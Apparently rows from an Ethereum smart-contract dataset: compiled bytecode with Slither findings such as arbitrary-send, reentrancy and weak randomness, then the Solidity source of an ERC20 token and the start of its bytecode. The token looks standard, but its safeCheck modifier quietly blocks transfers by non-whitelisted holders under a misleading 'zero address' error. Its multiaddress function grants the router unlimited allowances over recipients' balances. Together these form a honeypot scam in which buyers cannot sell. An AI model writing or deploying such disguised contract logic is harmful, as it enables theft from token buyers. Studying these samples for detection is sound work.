576112c261388b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156113375782828151811061131f5761131e61388b565b5b602002602001015150818061133390613785565b9250505b808061134290613785565b91505061114d565b5060008111156115255760008142338460405160200161136c93929190613281565b6040516020818303038152906040528051906020012060001c61138f91906137fc565b9050601781815481106113a5576113a461388b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695506001601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166368c4af07876040518263ffffffff1660e01b815260040161148591906132be565b602060405180830381600087803b15801561149f57600080fd5b505af11580156114b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d79190612f29565b507fcc6f1b19699a05581bacb850871e0e0d722ce614910418d2ffcf9cef969e11888660405161150791906132be565b60405180910390a16154604261151d91906135c4565b601481905550505b5050505090565b6000611559601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a72565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561165d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116549061347f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c49061337f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117ab91906134df565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f9061345f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188f9061333f565b60405180910390fd5b600081116118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d29061343f565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119875750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef157601360159054906101000a900460ff1615611a8d57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611a8c576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360149054906101000a900460ff16611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad3906134bf565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b875750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c5b576002600981905550600a8081905550601360159054906101000a900460ff1615611c5a57600f42611c1391906135c4565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611c6630610a72565b9050601360169054906101000a900460ff16158015611cd35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ceb5750601360149054906101000a900460ff165b15611eef57601360159054906101000a900460ff1615611d8a5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d80906133df565b60405180910390fd5b5b601360179054906101000a900460ff1615611e14576000611db6600c548461244790919063ffffffff16565b9050611e07611df884611dea601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a72565b6124c290919063ffffffff16565b8261252090919063ffffffff16565b9050611e128161256a565b505b6000811115611ed557611e6f6064611e61600b54611e53601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a72565b61244790919063ffffffff16565b61252090919063ffffffff16565b811115611ecb57611ec86064611eba600b54611eac601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a72565b61244790919063ffffffff16565b61252090919063ffffffff16565b90505b611ed481612194565b5b60004790506000811115611eed57611eec47612018565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f985750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611fa257600090505b611fae848484846125e8565b50505050565b6000838311158290611ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff3919061331d565b60405180910390fd5b506000838561200b91906136a5565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61207b606461206d60508661244790919063ffffffff16565b61252090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120a6573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120f760058461252090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612122573d6000803e3d6000fd5b5050565b600060075482111561216d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121649061335f565b60405180910390fd5b600061217761241c565b905061218c818461252090919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121cc576121cb6138ba565b5b6040519080825280602002602001820160405280156121fa5781602001602082028036833780820191505090505b50905030816000815181106122125761221161388b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122b457600080fd5b505afa1580156122c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ec9190612dcf565b81600181518110612300576122ff61388b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061236730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115ed565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123cb9594939291906134fa565b600060405180830381600087803b1580156123e557600080fd5b505af11580156123f9573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000806000612429612615565b91509150612440818361252090919063ffffffff16565b9250505090565b60008083141561245a57600090506124bc565b60008284612468919061364b565b9050828482612477919061361a565b146124b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ae906133ff565b60405180910390fd5b809150505b92915050565b60008082846124d191906135c4565b905083811015612516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250d9061339f565b60405180910390fd5b8091505092915050565b600061256283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612683565b905092915050565b6000600c9050600c82101561258257600c9050612599565b601e82111561259457601e9050612598565b8190505b5b60006125af6002836126e690919063ffffffff16565b146125c35780806125bf90613785565b9150505b6125d7600a8261273090919063ffffffff16565b600981905550600a80819055505050565b806125f6576125f561277a565b5b6126018484846127bd565b8061260f5761260e612a34565b5b50505050565b6000806000600754905060006c0c9f2c9cd04674edea4000000090506126536c0c9f2c9cd04674edea4000000060075461252090919063ffffffff16565b821015612676576007546c0c9f2c9cd04674edea4000000093509350505061267f565b81819350935050505b9091565b600080831182906126ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c1919061331d565b60405180910390fd5b50600083856126d9919061361a565b9050809150509392505050565b600061272883836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612a48565b905092915050565b600061277283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fb4565b905092915050565b600060095414801561278e57506000600a54145b15612798576127bb565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806127cf87612aa6565b95509550955095509550955061282d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561291c576017889080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b61296e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129ba81612b0e565b6129c48483612bcb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a2191906134df565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b6000808314158290612a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a87919061331d565b60405180910390fd5b508284612a9d91906137fc565b90509392505050565b6000806000806000806000806000612ac38a600954600a54612c05565b9250925092506000612ad361241c565b90506000806000612ae68e878787612c9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b1861241c565b90506000612b2f828461244790919063ffffffff16565b9050612b8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612be08260075461273090919063ffffffff16565b600781905550612bfb816008546124c290919063ffffffff16565b6008819055505050565b600080600080612c316064612c23888a61244790919063ffffffff16565b61252090919063ffffffff16565b90506000612c5b6064612c4d888b61244790919063ffffffff16565b61252090919063ffffffff16565b90506000612c8482612c76858c61273090919063ffffffff16565b61273090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612cb4858961244790919063ffffffff16565b90506000612ccb868961244790919063ffffffff16565b90506000612ce2878961244790919063ffffffff16565b90506000612d0b82612cfd858761273090919063ffffffff16565b61273090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612d3381613c51565b92915050565b600081519050612d4881613c51565b92915050565b600081359050612d5d81613c68565b92915050565b600081359050612d7281613c7f565b92915050565b600081519050612d8781613c7f565b92915050565b600081359050612d9c81613c96565b92915050565b600060208284031215612db857612db76138e9565b5b6000612dc684828501612d24565b91505092915050565b600060208284031215612de557612de46138e9565b5b6000612df384828501612d39565b91505092915050565b600060208284031215612e1257612e116138e9565b5b6000612e2084828501612d4e565b91505092915050565b60008060408385031215612e4057612e3f6138e9565b5b6000612e4e85828601612d24565b9250506020612e5f85828601612d24565b9150509250929050565b600080600060608486031215612e8257612e816138e9565b5b6000612e9086828701612d24565b9350506020612ea186828701612d24565b9250506040612eb286828701612d8d565b9150509250925092565b60008060408385031215612ed357612ed26138e9565b5b6000612ee185828601612d24565b9250506020612ef285828601612d8d565b9150509250929050565b600060208284031215612f1257612f116138e9565b5b6000612f2084828501612d63565b91505092915050565b600060208284031215612f3f57612f3e6138e9565b5b6000612f4d84828501612d78565b91505092915050565b600060208284031215612f6c57612f6b6138e9565b5b6000612f7a84828501612d8d565b91505092915050565b6000612f8f8383612f9b565b60208301905092915050565b612fa4816136d9565b82525050565b612fb3816136d9565b82525050565b612fca612fc5826136d9565b6137ce565b82525050565b6000612fdb8261357f565b612fe581856135a2565b9350612ff08361356f565b8060005b838110156130215781516130088882612f83565b975061301383613595565b925050600181019050612ff4565b5085935050505092915050565b613037816136fd565b82525050565b61304681613740565b82525050565b60006130578261358a565b61306181856135b3565b9350613071818560208601613752565b61307a816138ee565b840191505092915050565b60006130926023836135b3565b915061309d8261390c565b604082019050919050565b60006130b5602a836135b3565b91506130c08261395b565b604082019050919050565b60006130d86022836135b3565b91506130e3826139aa565b604082019050919050565b60006130fb601b836135b3565b9150613106826139f9565b602082019050919050565b600061311e6015836135b3565b915061312982613a22565b602082019050919050565b60006131416023836135b3565b915061314c82613a4b565b604082019050919050565b60006131646021836135b3565b915061316f82613a9a565b604082019050919050565b60006131876020836135b3565b915061319282613ae9565b602082019050919050565b60006131aa6029836135b3565b91506131b582613b12565b604082019050919050565b60006131cd6025836135b3565b91506131d882613b61565b604082019050919050565b60006131f06024836135b3565b91506131fb82613bb0565b604082019050919050565b60006132136020836135b3565b915061321e82613bff565b602082019050919050565b60006132366018836135b3565b915061324182613c28565b602082019050919050565b61325581613729565b82525050565b61326c61326782613729565b6137f2565b82525050565b61327b81613733565b82525050565b600061328d828661325b565b60208201915061329d8285612fb9565b6014820191506132ad828461325b565b602082019150819050949350505050565b60006020820190506132d36000830184612faa565b92915050565b60006040820190506132ee6000830185612faa565b6132fb6020830184612faa565b9392505050565b6000602082019050613317600083018461302e565b92915050565b60006020820190508181036000830152613337818461304c565b905092915050565b6000602082019050818103600083015261335881613085565b9050919050565b60006020820190508181036000830152613378816130a8565b9050919050565b60006020820190508181036000830152613398816130cb565b9050919050565b600060208201905081810360008301526133b8816130ee565b9050919050565b600060208201905081810360008301526133d881613111565b9050919050565b600060208201905081810360008301526133f881613134565b9050919050565b6000602082019050818103600083015261341881613157565b9050919050565b600060208201905081810360008301526134388161317a565b9050919050565b600060208201905081810360008301526134588161319d565b9050919050565b60006020820190508181036000830152613478816131c0565b9050919050565b60006020820190508181036000830152613498816131e3565b9050919050565b600060208201905081810360008301526134b881613206565b9050919050565b600060208201905081810360008301526134d881613229565b9050919050565b60006020820190506134f4600083018461324c565b92915050565b600060a08201905061350f600083018861324c565b61351c602083018761303d565b818103604083015261352e8186612fd0565b905061353d6060830185612faa565b61354a608083018461324c565b9695505050505050565b60006020820190506135696000830184613272565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135cf82613729565b91506135da83613729565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561360f5761360e61382d565b5b828201905092915050565b600061362582613729565b915061363083613729565b9250826136405761363f61385c565b5b828204905092915050565b600061365682613729565b915061366183613729565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561369a5761369961382d565b5b828202905092915050565b60006136b082613729565b91506136bb83613729565b9250828210156136ce576136cd61382d565b5b828203905092915050565b60006136e482613709565b9050919050565b60006136f682613709565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061374b82613729565b9050919050565b60005b83811015613770578082015181840152602081019050613755565b8381111561377f576000848401525b50505050565b600061379082613729565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137c3576137c261382d565b5b600182019050919050565b60006137d9826137e0565b9050919050565b60006137eb826138ff565b9050919050565b6000819050919050565b600061380782613729565b915061381283613729565b9250826138225761382161385c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f547279206166746572203620686f7572732066726f6d206c6173742064726177600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613c5a816136d9565b8114613c6557600080fd5b50565b613c71816136eb565b8114613c7c57600080fd5b50565b613c88816136fd565b8114613c9357600080fd5b50565b613c9f81613729565b8114613caa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122093a84b3f5ff371cedf5dcca8363802e8d2d47a9756f3a9782224d1c3ffec99ca64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,726 |
0xa98bfee6ddd451e40cf6ae524378e9e4aa677bd4
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_BLES(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5